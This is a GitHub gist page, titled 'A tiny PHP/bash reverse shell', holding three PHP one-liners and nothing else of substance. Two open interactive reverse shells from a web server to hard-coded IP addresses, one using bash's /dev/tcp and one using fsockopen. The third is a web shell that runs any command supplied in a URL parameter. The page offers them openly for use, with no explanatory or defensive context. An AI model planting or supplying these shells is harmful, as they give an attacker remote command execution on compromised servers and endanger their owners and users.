Skip to content

Instantly share code, notes, and snippets.

@askDing
Forked from BlaiseOfGlory/shell.php
Created September 29, 2020 09:17
Show Gist options
  • Select an option

  • Save askDing/ac46a748a0bbb412c05f2d3b48238877 to your computer and use it in GitHub Desktop.

Select an option

Save askDing/ac46a748a0bbb412c05f2d3b48238877 to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?>
<?php $sock=fsockopen("10.11.0.150",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php $output = shell_exec($_GET["cmd"]);echo "<pre>$output</pre>";?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment